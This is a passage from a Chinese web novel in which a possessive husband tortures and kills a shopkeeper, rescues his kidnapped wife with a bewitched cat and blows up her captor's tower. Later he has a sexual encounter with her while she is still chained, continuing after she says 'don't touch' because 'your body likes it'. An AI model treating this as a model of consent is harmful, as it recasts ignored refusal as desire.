就在掌柜以为躲过去的下一瞬,少年筋骨分明的大手骤然掐住了他的脖颈! 手上指环冰凉利刃弹出,抵在掌柜颈间。 他* 仍然是笑着的,此刻看来如索命阎罗般阴森。 “告诉我,她在哪。” 第42章 火光 四周顿时一阵惊呼, 纷纷撤开几步。 不少前来采买香料的客人见状,连忙寻着小路离开玄香斋。 掌柜浑身鸡皮疙瘩竖起,惊愕地看着他掐过来的手, 双唇止不住的打颤,“官,官爷, 官爷饶命, 我是, 我是真的没……” 封行渊没动,只是掐住男人脖子的手用了几分力气, 那利刃就跟着陷入几分。 瞬间割破了表皮! 掌柜瞪大了眼睛, 拼命地想要躲避,却被越掐越紧。 尖锐的刺痛从喉间袭来, 他惊慌改口,“我我我知道!” “不是我,”掌柜连连解释, “是西陵的一个调香巫师!把夫人带走了!” 封行渊听到“西陵”两个字,双眸渗出些许危险气息,“去哪了?” “不,不知道啊。”掌柜是真的不知道, “只知那位调香师叫聂婵,她行踪不定, 只是来做生意的。” 他慌不择路地将方才事情全盘托出,“只是因为那夫人不小心撞见了她的秘方, 那秘方中……有几味禁药, 又好似与朝中贵胄有关,她就不高兴了。” “她说, 说说……” 封行渊显然没了耐性,只眼神发沉就吓得掌柜扬声坦白。 “说官家夫人不好现在杀,但,但失踪是常见的,得,得带出去。”掌柜双腿发软,“我是真的不知道,她把那夫人带去哪里了。” “官爷饶命,我,我……” 封行渊盯着他,“说完了。” 掌柜连忙道,“真没了,我知道的全说了。” 封行渊见他的确吐了个干净,手指缓慢松开。 掌柜劫后余生般刚松了一口气,突然间封行渊手指指环上利刃径直割断了男人喉咙! 鲜血飞溅!屋内一阵一阵尖叫声! 封行渊居高临下地看着他瞪大眼睛倒地。 掌柜浑身抽搐着,似乎是想要挣扎,但泱泱而出的鲜血让他浑身失力。 少年语调幽冷鬼魅,“没答应你坦白可以饶你不死。” 凌一扶着刚刚弄醒的暮云从楼上下来,“主子。” 暮云身上的迷香劲还没过去,但服下凌一给的解药稍稍有了些意识。 她手里紧攥着一枚发簪,有气无力地伸手递给封行渊,“姑爷……” 那枚发簪,是鹿微眠今日出门戴的紫檀花流苏步摇。 这会儿紫檀花被摔掉了几片花瓣。 封行渊垂眸看着,异瞳氤氲起腥风血雨。 他们弄坏了鹿微眠的簪子,他很不高兴。 “玄香斋,拆了。” 长街上原本巡察的侍卫闻讯赶来。 周围店小二连忙上前,“大人,这……” 贾琏拦下他们,声音粗狂,“这什么!你们私贩禁药,勾结外境,又谋害朝官亲眷乃大罪。” 封行渊拿着发簪,瞥见了楼内一只正在啃糖球的小黑猫。 而它啃的糖球,恰好是鹿微眠掉的那一串。 封行渊走上前,小黑猫警惕地接连后退,但始终没有离开。 他弯身将地上的糖球捡起。 凌一赶忙把暮云送上马车,折返回来看见封行渊拿着鹿微眠的发簪,划破了手指。 鲜血滴在糖球上,被他再度放到小猫面前。 大抵是饿狠了,小猫试探性地舔了两口,便大快朵颐起来。 封行渊缓慢地理着小猫的毛发,下了命令,“带我去找她。” 小猫啃咬的动作停滞了下,黑亮的眼睛涣散片刻,在与那双血色异瞳对视间接纳命令,再度聚焦后就确认了自己灵魂的主人。 封行渊将手中的簪子递过去。 小猫嗅了嗅簪子上的味道,叼着没吃完的糖球转身去找人。 * 鹿微眠醒来之时,浑身发凉。 她茫然地睁开眼睛,赫然发现自己被放置在一个盛满药水的木桶里,浑身上下不着寸缕! 鹿微眠惊慌失措地收紧身体,带起阵阵水声。 不远处传来一道女子声音制止,“诶,轻点,这是我刚调好的浸香药。” 她走过来,“你要是敢给我洒出去了,可有你好看的。” 鹿微眠随着她靠近而将自己收得更紧,“你是……” 聂婵走上前,很满意自己的药没有洒出来,“我是谁不重要,你乖乖听话就好。” 女子身上衣饰单薄,露出腰腹肚脐,腰上还挂着几串闪闪发光的宝石,走起路来摇曳生姿。 鹿微眠看着有些熟悉,但一时也想不起来是在哪里见过这样的服饰。 她记得她刚刚是在玄香斋看香料,但是看见了她母亲给她安神的云涎香…… 对,云涎香里面放了禁药! 她撞见这个,再醒过来就被带到了这里。 鹿微眠还有些刚清醒后的乏力,判断着周身所处的环境。 门窗紧闭,有点阴暗潮湿,屋子里点着灯,但光线偏红,所以乍一看上去有些阴森。 聂婵看着她像是一只小鹿,惊惧不安地环顾四周,心情颇好。 她撑着下巴欣赏着,伸手别过鹿微眠耳边鬓发。 鹿微眠本能地躲开。 但木桶本就没有多大,她即便是躲,根本也躲不到哪里去。 聂婵手指顺着她的耳朵勾勒到下颚,再从下颚到白皙如玉的颈,“高门大院里的姑娘,养得就是好。” “本来你偷看我的秘方,我想尽快杀了你,但抱你回来这路上闻着你身上的味道我很喜欢。就这样死了有些可惜。” 鹿微眠觉得她的目光有些吓人。 看在自己身上的时候,并不像是在看活人,而是在看手底下的一味香料。 聂婵手背滑过她的肌肤。 鹿微眠下意识地拿手挡开,却被抓住。 聂婵将鹿微眠双手用锁链扣住,“乖一点,等我将你身上的香味浸出来,制好香,我给你个不疼的死法。” 鹿微眠睫毛一个劲地颤,“什么死法?” 聂婵挑眉,“当然是用毒香,让你睡过去就好了。” 鹿微眠声音低了许多,“只是睡过去吗?” 聂婵轻笑,“对,只是睡过去。” “不过你到时候会做一个很痛苦的梦,毒发身亡的时候,你会在梦里咽气,但是身体上不会有一点痛苦。” 鹿微眠还是害怕,“这样吗。” “很厉害吧,”聂婵饶有兴致地介绍自己的香料,“这香料制成可是耗费了我一番功夫,你也算是有福气。” 真是见了鬼的福气。 鹿微眠没有再去聊她打算让自己怎么死。 她扶着木桶边缘,“我其实不是故意偷看你的香料方子的,他们摆在那里,我正好路过。” “我母亲给过我同样的香料,我就多看了两眼,这样也不行吗?” 聂婵好整以暇地听着她解释,“好妹妹,有的事情知道了,不管是不是无意,都是要死的。” 鹿微眠心底凉了半截,“好姐姐,我又不懂调香,我不会告诉别人的。” 聂婵并不接话。 鹿微眠坐在木桶里安静了一会儿,忍不住问道,“我母亲说那云涎香是助眠的,可当真?” 聂婵依然不回答,只是笑盈盈地看她,“这个问题,只有死人可以知道。” 她只负责按照客人的要求制香,至于客人用来做什么,拿去给谁,都与她无关。 鹿微眠有点泄气,“我不是也快死了吗。” 她从前并不知道,这云涎香怎么是不能提的东西,里面还有禁药。 到底是母亲给的,如何会防备,所以它到底是不是用来助眠的。 她母亲到底知不知道这里面有醉心花。 鹿微眠正想着,聂婵在旁边瓶瓶罐罐里面挑拣一番,拿出来一个瓶子,在木桶边打开,撒了进去。 粉末袭来,过于浓重呛得鹿微眠轻咳了一阵。 “这是什么?” “这是淬炼粉,能让你身上的香气更加纯粹。” 鹿微眠听起来自己像是一锅汤。 加点什么酒水去腥提鲜的感觉。 她这么想,也就嘀咕了出来。 聂婵笑了,“是这个道理。” 鹿微眠看她,“你时常用人取香吗?” “不尽然,常用的还是花草,小动物也会用。”聂婵闲来无事手指轻点桌案,点到了旁边一个小瓷瓶,炫耀着自己优秀的成品,“这个水鳞香是从幻鱼身上提取出来的。” 鹿微眠凑过去趴在木桶边,“幻鱼?” 她都没有听过这种鱼,“这个能做什么?” “这个是毒香,会麻痹精神,让人快速昏迷浑身瘫软。” 鹿微眠噤声,半张脸躲在木桶后面。 大抵是她惧怕的样子,让聂婵很愉悦,又继续与她讲着,“这个是抹香鲸和林麝提炼的醉梦。” 又是她没怎么听过的动物,“这也是毒香吗?” “这个啊,”聂婵笑得别有深意,“能让人醉生梦死,不知天地为何物。” 她这个描述非常的模糊。 鹿微眠隐约能判断出来,这个东西好像也带有些迷幻功效。 但是不如刚刚那个水鳞香厉害。 聂婵又选了两个瓶子,往鹿微眠身边的水中倒。 跟她讲解着香粉的增香功效。 全部倒进去之后,聂婵好似缺了什么香料,“诶,定香粉没拿吗。” 她在屋内翻找一圈后,确认了没有拿过来,“好妹妹,你稍等我一下哦,等定香粉下了,你就可以开始想遗言了。” 聂婵说着,还拍了拍鹿微眠的脸颊,“乖乖的。” 房门打开关上时,鹿微眠透过门缝才注意到不远处半空中悬挂的血月。 可长安城内哪里来的血月。 这是地下的帝台城! 鹿微眠算着这也不是七日开城之日,能进来的,想必是帝台城的生意人。 难怪,正常生意人,怎么会用人制香。 也就这里做些见不得光生意的人会用。 但这也意味着,她那些老实的家人多半没有办法进来救她。 鹿微眠等着聂婵出去,立马有所动作。 让她眼睁睁地等死还是让人有些焦灼难捱,不论如何她得争取一下。 鹿微眠看着旁边架子上的香料罐子,想起身,但发现自己的双脚也被铁链锁住。 她很难起来,也离不开这个木桶。 鹿微眠环顾四周,转头看见方才聂婵用来搅匀药水的长木棍。 木棍不远,就在木桶旁边。 鹿微眠摸到那根棍子。 碍于手脚上的锁链,她费了些力气去戳不远处的摆放着香料的架子。 她手中木棍别到架子支柱。 然后用力往自己身边一带,架子被木棍的力道带得滑开些许,发出“吱吖”声响。 上面的瓶瓶罐罐也随着架子挪位而叮当摇晃起来。 鹿微眠看架子朝她的方向滑了几寸,又用了些力气。 眼见那架子朝她越来越近,慢慢被挪到了她手能摸到的位置。 鹿微眠想着方才聂婵的话,先拿了水鳞香,又顺路把醉梦也拿了下来。 她正要犹豫要不要再拿点别的,忽然听到了楼下传来的脚步声。 鹿微眠慌忙拿起木棍,把架子戳回原位。 几乎是她放下木棍的同时,房门打开。 聂婵拿着定香粉回来,悠闲地问她,“怎么样,遗言想好了吗?” 她刚走到木桶旁边,冷不丁瞥见地上的水珠以及被挪动过的木棍,动作缓慢地停了下来。 空气间有些诡异的静谧。 鹿微眠紧跟着察觉到了危险气息。 她浸没在水下的双手攥紧手里的两个瓶子,摸到了那个水鳞香。 聂婵看过来,唇角忽然浮现出一抹阴恻恻的笑,“小妹妹,你不乖啊。” 话落,她突然间伸手一把扯住了捆绑鹿微眠双手的铁链! 聂婵冷笑,“这点小把戏,以为能蒙混过去?” 鹿微眠整个人都被带得吃痛惊叫一声。 手中瓶塞一下子拽开! 香粉直接朝着聂婵撒了过去! 聂婵反应过来,又一把甩开鹿微眠,瓷瓶跌落在地。 鹿微眠重重地撞在木桶上,脊背满是钝痛。 忽然间屋外狂风四起,四下门窗被强烈的气流冲破后又弹开,强行闯入房中! 气流从耳边呼啸而过,刺激得耳中微痛。 紧接着有什么东西突然间从四面八方窜了进来,速度快如黑影。 聂婵一个不防备被撞在身后的架子上,抬手挡住,才听到尖锐的猫叫声! 她一把掐住黑猫脖子,“孽畜!也敢……” 忽然另一侧的猫猛然扑上去,在她手背上抓出尖利的血痕! 聂婵惊呼一声,不得不松手! 鹿微眠躲进水中,能看到不知哪里来了一群黑猫,集中朝着聂婵扑了过去! 大抵是方才那水鳞香被聂婵吸进去些许,她稍显力不从心。 屋内光影忽明忽暗,彻底熄灭的时候,门口传来沉稳的脚步声。 踩得木质地板吱吖作响,像是踩在了鹿微眠心口。 他像是掌控一切的始作俑者,但却旁观着不远处群起攻势。 眼里只有那个被锁在木桶中的人。 封行渊径直朝着那个木桶走过去,脚步平稳,仿佛旁边的一切混乱都与他无关。 鹿微眠眼前一暗,被人蒙头包裹在了偌大的黑色披风里。 足踝上的锁链被断开,轻而易举地将她抱了出来。 那披风有熟悉的清茶香气,一靠近就知道他是谁,因此鹿微眠没有挣扎,反倒下意识地往他身上贴。 封行渊抱起人,转身就离开了房间。 甚至没有多看那屋内一眼。 鹿微眠这才有些后知后觉地委屈和不安,“你怎么找来的?” “我以为不会有人找到我了。” 封行渊低了低头,隔着披风碰到了她的额头,“夫人去哪,我都能找到你。” 失而复得的安全感让鹿微眠贴近了几分。 她隐约能感觉到封行渊离开了那个阁楼。 然后周围接连传来些轻快地猫叫与脚步声。 像是一群什么小猫完成什么任务从阁楼出来,四散跑开。 在他们全部离开的下一瞬,那座楼宇瞬间炸开! 轰的一声巨响! 阁楼上门窗四散落地! 火光冲天! 那间阁楼在整座地下城内燃烧起来,将天边那轮血月映衬得更加阴森! 一时间阴寒的帝台城都多了几分人间炼狱的气息。 而封行渊眸光晦暗阴沉地背对着爆炸火光,将鹿微眠抱走。 他的身形逆着光影,面容隐匿在昏暗之中,身后是仿佛能够吞噬一切的烈火。 少年浑身上下浸着暴戾肃杀之气,像是从炼狱中走出来的恶鬼。 他只是在鹿微眠听见爆炸声瑟缩时,拢紧了手臂。 轻声安抚,“别怕。” 鹿微眠果然安静下来,耳边是他强而有力的心跳声和说话时胸口震动的回音。 他说不怕,她就真的没有再害怕。 约么半刻钟,鹿微眠才被放到一张美人靠上。 在她身上笼罩的披风被人揭开时,她还是打了个寒战,蜷缩起身体。 屋子内没有点灯,门窗紧闭。 鹿微眠环顾四周,只能从关着的窗户纸上看到不远处通红的火光,其余什么都看不清。 不过倘若她能看清或许会发现,这间屋子的感觉很熟悉。 跟从前去探查那个囚困她的反贼,所前去的揽星阁一模一样。 第43章 醉梦 鹿微眠问着, “这是哪里啊?” 封行渊“揽星阁”三字提到喉间,想起鹿微眠曾描述过的“一个很坏的地方”。 他话锋一转,面色平静道, “寻了一处客栈。” 鹿微眠觉得这不太像是客栈,小心翼翼地观察着周围,“帝台城的客栈是这样的吗。” 封行渊拿着擦身的细葛布巾坐下, “是的。” 鹿微眠看他这般单纯老实地答话, 也不像是在说谎。 何况他有什么必要骗她。 而此时她“单纯老实”的夫君, 手里攥着帕子,维持着准备帮她擦拭的动作。 但看着她双手挂上锁链的样子停滞已久。 封行渊血液中什么东西开始蠢蠢欲动又被压下, 但仍然微弱地叫嚣着。 现在的确是不应该想这些。 但封行渊可耻地发现, 他好像真的很喜欢她这个样子。 少年刚别开视线想转移注意力,鹿微眠就把手伸了过来, 示意她手上缠绕的锁链,“这个还没打开。” 封行渊低着头,大抵是怕被她看出来自己恶劣的喜好, 只接过她的手,问道,“疼吗?” “不疼,就是被捆着, 很奇怪。” 封行渊看似很认真地帮她寻找解开的方法。 片刻后轻声道,“现在好像解不开。” 鹿微眠轻“啊”一声, 她想试着解开。 但水鳞香她也吸进去了一点,浑身瘫软没有一丝力气。 “那只能先这样了。” 封行渊坐在了她身后, 让她倚靠在他身上, 将足有一人大小的细葛布巾包在她身上,环着她擦拭她身上多余的水珠, 像是揉淋湿的娃娃一般。 鹿微眠也不动,配合他动作,额发轻蹭着他的下巴。 少年垂眸看她。 好乖。 她被绑着真的好乖。 他擦着她身上的水,也不知是不是因为聂婵在她身上用了些浸香的药粉,鹿微眠身上幽微的茉莉甜香这会儿格外惑人。 越擦越是明显,闻起来让人莫名觉得她应该会很好吃。 封行渊一时间没忍住,低头轻吻她的头发。 手上擦拭的力道重了几分,无法避免地触碰到些敏感位置,鹿微眠身体就缩一下。 头顶传来少年询问,“不舒服?” 鹿微眠声音很轻,“没有。” 封行渊稍稍克制几分,继续着手上的动作。 鹿微眠倚靠在他怀里,试图转移注意力,把玩着从聂婵那边带回来另外一个小瓶子。 “我从那个调香师偷回来了一瓶香料。” “什么香料?” 鹿微眠回忆着聂婵说的话,“应当是迷药,你看看,兴许日后能用得着。” 她说着,将香料递给封行渊。 封行渊接了过来,细看了一遍瓷瓶上的标签。 上面写着“醉梦”。 凭借他以往见过的迷药类型,似乎没有这么梦幻的名字。 封行渊顺手打开看了一眼。 瓷瓶内细微的香粉飘了出来,钻入鼻腔。 封行渊刚刚才压下去的念头骤然间浮了上来。 他顿时扣上瓶塞,呼吸变得沉重些许。 鹿微眠听着他的反应有些剧烈,爬起来看他,“怎么了?” 她以为是那香料出的问题,想要去拿他手里的香。 封行渊在鹿微眠伸过手来之时拿开,没让她碰,“这不是迷药,不许乱用。” 封行渊轻轻蹙眉,声音略低的补充一句,“也不许随便给别人用。” 他不想让别人觉得她看起来很好吃。 那醉梦让他觉得她身上味道越来越清甜了,甜得他牙根发痒。 想咬她。 鹿微眠茫然地应下,“所以这是什么香啊?” 封行渊不言语,只拉过她身上包裹的布帛,继续手上的动作。 鹿微眠被他拉得身形前倾,贴近他的胸膛。 她停滞了一下,发觉撑不稳身子,自然而然地凑上前,下巴搭在他肩膀上。 少女温软香甜的身子贴靠着他,任由他擦拭。 犹如云朵在心尖化开。 像是一个很微妙的抱抱。 少年手上的动作越来越慢。 不知从哪一刻开始,他遵循着自己的本能偏过头,微凉的唇碰了一下她的耳珠。 他的动作很轻。 但鹿微眠心口却剧烈地颤动了一下,朝他的颈窝钻了钻。 那烧红的耳朵从他唇间躲开。 他便顺着雪白的颈一寸寸向下,他轻且慢的吻越来越重。 落在她锁骨间时,已经变了味道。 他的唇上凉意尽散,被研磨得有些滚烫,仿佛野火燎原。 少女精致漂亮的锁骨被亲出一抹红晕,冰肌玉骨以一种难以言喻的方式被品尝。 他的手隔着宽大的布帛扶着她的腰,很轻地往前带了一下, 鹿微眠被他大手压得腰身挺起,贴在他腰腹上。 是一种交付、进献出自己的姿势。 她艰难出声,“不是,在擦水吗?” 少年看着她胸口潋滟的红痣,声线发闷,“是。” “有个地方的水,擦不干净。” 鹿微眠一怔。 在他触碰到时,整个人剧烈地颤抖了一下,“等……” 她刚刚发出一个音节,就惊慌地咬住唇,克制住自己不发出更多奇怪的声音。 他清淡沙哑的嗓音在密闭的空间内格外令人遐思,“好像越擦越多了。” 鹿微眠想要挪开他的手,但奈何手上的锁链牵制着她无法动作过大。 封行渊并不喜欢被打断,在她伸手抵挡时,修长手指勾住锁链,将人往自己的方向轻轻一拽。 鹿微眠一下子跌到他身前。 封行渊很满意她的靠近,顺手将捆住她双手的链子挂在了靠近他的扶手上。 这样,她即便是再怎么躲,也躲不开他。 鹿微眠被他这般动作弄得心头轻颤,整个人不由自主地缩了起来,鼻音很重,“不要碰。” “为什么不碰?”封行渊按住她的腰,打开她蜷起的身体,倾身靠近把人压在了美人榻上,轻吻她唇角以示安抚,“我知道的,今晚选书的时候看到了。” “这个是你喜欢的意思。” 他们的姿势被他安抚性的吻缓慢调转,鹿微眠被动地倚着美人榻,而他的身形笼罩在她身上。 “你的身体喜欢,为什么要拒绝呢。” 他再度试探,确认自己的判断,“你都这么喜欢了。” 鹿微眠眼睫轻颤着,说不出违心的话就不得不别开头,又被扣住下颚转过来亲吻。 “夫人今晚闻起来很好吃。”封行渊声音哑得厉害,“我又想咬你了。” 他握住她下颚的漂亮手指松开,顺着天鹅颈一路向下。 说出了他的企图,“不过想换个地方咬。” 今晚看到的书里说,她脆弱之处那般可爱也可以咬,而且她会喜欢。 他觉得很新鲜。 鹿微眠察觉到他的意图,整颗心脏都跟着提了起来,“你,你……” 但没有用,她双手被绑在靠近他的地方,她的确躲不开。 鹿微眠想用膝盖顶开他的手臂,却被轻而易举地压制住。 那只宽大白皙的手掌轻松包裹住她的膝盖,“别怕,我试试。” 紧接着她膝盖就感受到了属于雄性的力量感—— 强硬到无法抗拒。 用来擦身的布帛足够宽大,垫在身下。 不知在哪一刻,鹿微眠手指骤然攥紧那布帛,连带着手腕上的链子都发出震颤声,时不时撞在那美人榻扶手上,在幽暗房间内格外令人心神动荡。 封行渊听到铁链碰撞的声音,神经愈发绷紧,想要将她啃噬的欲-望也就逐步放大。 鹿微眠越是挣动,就被啃噬得更加剧烈。 她轻咬唇瓣发现缓解不了,就开始咬紧握成拳的手背。 直到咬手背也无法消解。 她控制不住发出了细微的呜咽声,略带哭腔地叫他,“封行渊……” 没有用。 鹿微眠大脑一片空白,在某一瞬间几乎丧失了思考能力。 哽咽声越来越可怜。 仿佛自己的灵魂都要被抽干、鞭挞、啃噬殆尽。 偏偏她无助地无法抗争,只能接受给予。 封行渊曾在梦中听到过类似的哭声。 当时的他只以为是因为自己在欺负她,所以她万分委屈。 此时听来好像不尽然。 毕竟他只是在咬她而已,都没有塞什么欺负她。 但感受都是一样的。 她在这种时候越是可怜,越想让人更狠一点。 平日里他如何良善温和,但他的劣根性似乎在这种事情中难以藏匿。 鹿微眠从神志不清到聚焦回神时,已经被清理干净换上一件简单的寝裙。 她纤弱的手臂被解开锁链垂在美人榻旁边,近乎丧失了全部的力气。 美人榻在此刻得益于美人儿呈现出它的名字来源。 因着头部倾斜,供美人斜倚,看上去有几分“侍儿扶起娇无力”的样子。 不多时,发凉的手臂便被一只大手握住,拿了上来,“该睡觉了。” 他只是碰了她一下,鹿微眠就轻轻一抖。 封行渊垂眸将她的反应尽收眼底,继续问着,“夫人要自己走还是要抱?” 鹿微眠没好意思看他,也没有回答,只是撑起身子,双手环过他肩头。 一个很标准地需要被抱的姿势。 封行渊俯身将人抱起,走向床榻。 鹿微眠沿路看到了那个被扔在地上的擦身布帛。 上面一片很是怪异的水痕。 她又撇开头不再多看。 封行渊将她放好,鹿微眠就自觉地滚进床里侧。 跟他之间的距离仿佛隔了一道楚河汉界。 封行渊看着她的反应,心情有些愉悦。 只不过他还好奇一个问题,“所以,喜欢也会哭吗?” 鹿微眠刚刚平复下去的心绪,被他这样一个问题激得再度跌宕起来。 她浑身发胀,轻轻咬了下手指。 少年靠近些许,拉下她的锦被,“喜欢也说不要吗?” 鹿微眠被吓了一跳,立马将身上盖着的锦被拉过头顶,鼻音浓重,“你你你好烦啊。” 封行渊看着她像是一个大蚕蛹一样包着被子挪开。 慢条斯理地确认了自己的猜测。 果然看书是有用的。 帝台城不分白昼黑夜。 四个时辰后,是长安城的清晨。 封行渊见鹿微眠没有要醒的意思,便率先晨起。 他打开卧房衣柜。 里面是他之前给鹿微眠挑选的衣裙。 封行渊优哉游哉地观赏着橱柜里漂亮的衣物,拿出来几件摆在床榻边。 而后一件一件往鹿微眠身上比对。 最后挑了杏黄色水仙裙,百褶如意羽毛斗篷给她换上。 他记得她接他从大理寺出来那天,穿的鹅黄色很好看。 揽星阁后院里,凌一坐在一旁,面前摆了数十个猫猫碗。 犒赏着昨夜的小功臣们。 院子里听取喵喵声一片,听得凌一心花怒放。 他正嘬嘬嘬地哄着,看见揽星阁的马车停在了院子门口。 凌一起身,看见封行渊从阁楼内出来,抱着他们家包裹严实的夫人。 凌一总觉得哪里不太对劲,直到把他们送上马车时反应过来。 封行渊因为左眼不好见光,所以连带着最不愿看见金黄、鹅黄、杏黄这类见光就格外刺眼的颜色。 但他给夫人挑的是杏黄色的衣裙? 凌一转头看过去的时候,马车已经走出一段距离。 车子走到帝台城门口时,被人拦住查验身份。 守卫盘问,“昨夜是你毁了云烟堂?” 封行渊嗓音很淡,“嗯。” 守卫声音粗狂又严厉,“你可知你给帝台城造成了多大的损失吗?” 窝在马车里侧宅床上睡着的鹿微眠都被吵得一颤。 封行渊按了按她的被角,“若我夫人在帝台城受损。” 他眉梢微扬,“帝台城我也照毁不误。” 守卫正要发作,被一旁同伴拦住,“既是云烟堂堂主先惹的事,此事改日再议。” 他说着连忙放行,“公子慢走。” 马车外传来争执声,“你拦我做什么?” 那人指责道,“揽星阁你惹他干嘛?” “你不知道他手里捏着多少朝廷命官做亲随,咱城主如今都得对他礼让三分。” 鹿微眠半梦半醒中听了乱七八糟的东西。 什么帝台城,什么揽星阁,城主。 再度醒来时她已经躺在了家里的床榻上。 周围都是熟悉的环境,让她无比安心。 也没在意梦里听到的声音。 今日难得是暮雨服侍她起床,告诉她,“暮云姐姐昨夜被迷药伤了一下,眼下还晕晕乎乎的。” 鹿微眠赶忙去看暮云。 暮云气色尚好,就是没有精神,见鹿微眠过来,连忙起身相迎,“夫人……” “你歇着就好,”鹿微眠走上前,扶她坐下,“可好些了?” 暮云很懊悔,“我不妨事,就是夫人你,这要是出了事,我万死难辞其咎。” “这与你无关。”鹿微眠安抚她,“错的是玄香斋的人与那个巫师,加害之人的罪过,不要揽在自己身上。” 暮云敛眸,“好在姑爷赶到的早,我真的吓死了。” “我也以为他不会找到我了。”鹿微眠说着,冷不丁想到。 帝台城没开城门之日,封行渊是怎么进去的。 “他是问了谁吗?” “奴婢不知,”暮云也不知道封行渊用的是什么办法,“但能找到就是再好不过了,想必是姑爷情急,问了许多人。” 鹿微眠想来也是。 他昨晚那样过去,一定是着急死了。 鹿微眠从暮云的房里坐了一会儿出来。 正好看到封行渊坐在书房桌台边在喂什么东西。 鹿微眠定睛一看才发现。 他手边趴着一只小黑猫,藏在阴影里,张嘴的时候才能看到有东西在动。 “夫人起来了?” “嗯。”鹿微眠走上前,“哪里来的小黑猫?” “昨晚找你时碰上的。”封行渊语调轻快,“它正饿着,我给了它点吃的,让它帮我找你。它就答应了。” 鹿微眠乍一听这缘由还很是有趣,“当真是它找到的我吗?” “当真。” 总归全靠他的乖乖夫君把她救回来,鹿微眠不管他是哄她,还是说真的。 既然他开口了,那她就信。 鹿微眠朝那只小猫伸手。 小黑猫对她很是熟悉,也并不认生。 只是在靠近她时,转头看向封行渊。 得到封行渊许可,它才凑上前,用毛茸茸的脑袋蹭鹿微眠掌心。 封行渊撑着额角看它的动作。 这种小东西的灵魂最是好收,解决了它饱暖的问题,它就愿意跟他走。 鹿微眠掌心被蹭得很舒服,她顺势将它抱起来。 怀中充盈着软绵绵的小猫,让她一时间心情很好。 小动物大概也更喜欢香香软软的美人。 它撑着鹿微眠的手臂爬上她的肩臂,伸着脑袋想要舔她的脸颊。 却忽然被封行渊制止,“小黑,下来。” 鹿微眠的身形在此刻骤然僵硬了起来。 她脸上笑容消失,愣愣地反应着刚刚封行渊说了什么。 脑海中电光火石间闪过一些记忆。 在那人的宫殿里,他要她帮忙给他的猫挑选衣饰。 那只小猫在她怀里并不老实,往她身上爬的时候,耳边是相似的一句,“小黑,下来。” 第44章 铃铛 鹿微眠呆愣地看着封行渊朝那只小黑猫示意。 它也就乖乖地爬下去, 坐在旁边并拢脚脚眼巴巴地看着。 鹿微眠僵硬地询问,“它,叫小黑吗?” 为什么会跟那个人的猫有一样的名字。 “还没取名字, 只不过看着黑就这么叫了,”封行渊抬头看她,“夫人有想好的名字吗?” 鹿微眠适才发现自己的心跳剧烈。 她是不是想得太多了, 不过是他随口一叫罢了。 鹿微眠摸了摸小猫下巴, “不然叫墨宝吧。” 小黑猫“喵”了一声, 似乎很喜欢这个名字。* 封行渊见一大一小商量得很好,便也没有意见, “听你的。” 鹿微眠看他这般乖顺, 再度打消了心中的疑虑。 她在想什么,怎么会因为一个随口叫出来的名字, 就觉得封行渊跟那个人有关。 鹿微眠唾弃着自己又胡思乱想。 封行渊瞥见她的小动作,顺便开口问道,“夫人可好些了?” “我没事了。”鹿微眠坐在他书桌旁, 想着昨日的水鳞香似乎也没有在她身上留下太多感觉。 封行渊正要细问昨晚聂婵到底为什么要将她掳走。 暮雨从外面进来,“夫人,马车在外面等着了。” “这般快啊。”鹿微眠连忙起身,“我得走了。” 封行渊沉吟着, “夫人刚醒就约了别人?” “也不是约了别人,”鹿微眠简单解释着, “我昨日去玄香斋招惹上那个巫师,是因为我不小心看到了她的香料配方。” “那个香料跟我母亲给我拿的云涎香一模一样。但是里面放了醉心花和水晶兰。” 醉心花和水晶兰来自西陵, 被称之为“冥界之花”, 这里面的毒性很大。 所以通常情况下,这两种东西都是禁药。 封行渊不太高兴, 这种事她现在才跟他说? 还是先约的旁人去聊。 他不问,她也就不打算提的样子。 鹿微眠说着,“我多看了两眼,她说什么泄露了方子影响贵人大事什么的……就把我带走了。” “这事情蹊跷,我问了她许多遍,她什么都不说。” 封行渊又问,“你母亲给的?” 鹿微眠点头,“所以我要回去问一下母亲。” 若不是母亲给的,恐怕也不会这般毫无察觉。 鹿微眠支会了他一声,“我这两日回一趟家。” 她说着还不忘伸手拍拍少年脸颊,“你乖乖在家待着等我。” 鹿微眠转头又拍了下小猫脑袋,“还有你。” 她叮嘱完,就离开了书房。 留下屋内一人一猫面面相觑。 她睡醒,先去看了暮云,再去找母亲,中途路过才看了他一眼。 封行渊伸手摸了下墨宝耳朵,自言自语道,“她的心里人太多了。” 他开始嫉妒了。 “你说,怎么能让她的心里只有我一个呢?”封行渊看着墨宝的眼睛,忽然间心头升起些难以磨灭的坏想法。 他语调悠然,“怎么办,我想让她的灵魂也属于我了。” 让她永远都离不开他。 * 鹿微眠回房里,差暮雨去取了云涎香过来,启程上马车。 司空府上下并不安宁,鹿微眠回来的时候,家中的掌事嬷嬷激动地朝院内喊,“姑娘回来了!” “快,姑娘快进门。”掌事嬷嬷扶着鹿微眠,仔仔细细打量着她,“我们今早才听说昨夜西市出事了,夫人正要去封府呢。” 鹿微眠往院子里走,正迎上准备出门的叶绾。 叶绾见她进来,慌忙把人拉过来,眉宇间尽是忧虑,“快给我看看……” “母亲,我没事。” “他们说昨日西市上,有外商跟你们闹起来了,连玄香斋都拆了。” 鹿微眠扶她进屋,“昨夜是我不小心瞧见有些商贩偷奸耍滑,用了些禁药在香料里,与他们争执起来罢了。” 鹿微眠隐去了她被掳走的事情,这些事情说出来也是让他们平白担心,解释起来也麻烦,索性就不说了。 叶绾瞧她细胳膊细腿的,“出门在外,你自己与他们争执起来的?” “那肯定不是啦,”鹿微眠带着她坐下,“封轸陪我的。” 叶绾提起的心绪这才稍稍放了下来,葱白指尖轻点鹿微眠额头,“你啊,眼下年关了,何故要与人争执啊。那外邦人野蛮,要是出了什么事,咱们家这年还过不过了?” “我也不是无故与人争执。”鹿微眠拿出那个香料盒子,放在桌上,“我是看到了云涎香的配方。” 鹿微眠正色道,“母亲,您可知云涎香里面,有醉心花和水晶兰这两味禁药?” 叶绾一怔,神色讶异,“禁药?” “嗯。”鹿微眠点头,打开盒子。 香料呈现出深紫色花朵样式,整整齐齐排满了盒子。 叶绾摇头,“这,我,我不知啊。” “还是你舅母说,她新寻的香料安神效果很好,我自己试了试,才给你的。” 果然是叶霖一家。 鹿微眠来之前多半猜到了一些,“那母亲用了多少?” “我也就偶尔会点。”叶绾看她,“你呢?” 鹿微眠如实道,“不太多,也是偶尔睡不好会点。” 前世她心神不宁地比较依赖这个东西入睡,但是现在封行渊陪她睡之后,她意外地睡觉很踏实,此后就很少用了。 叶绾并不放心,“我记得你出嫁前,是日日都要点来安神的。” 那时鹿微眠频繁的用了月余。 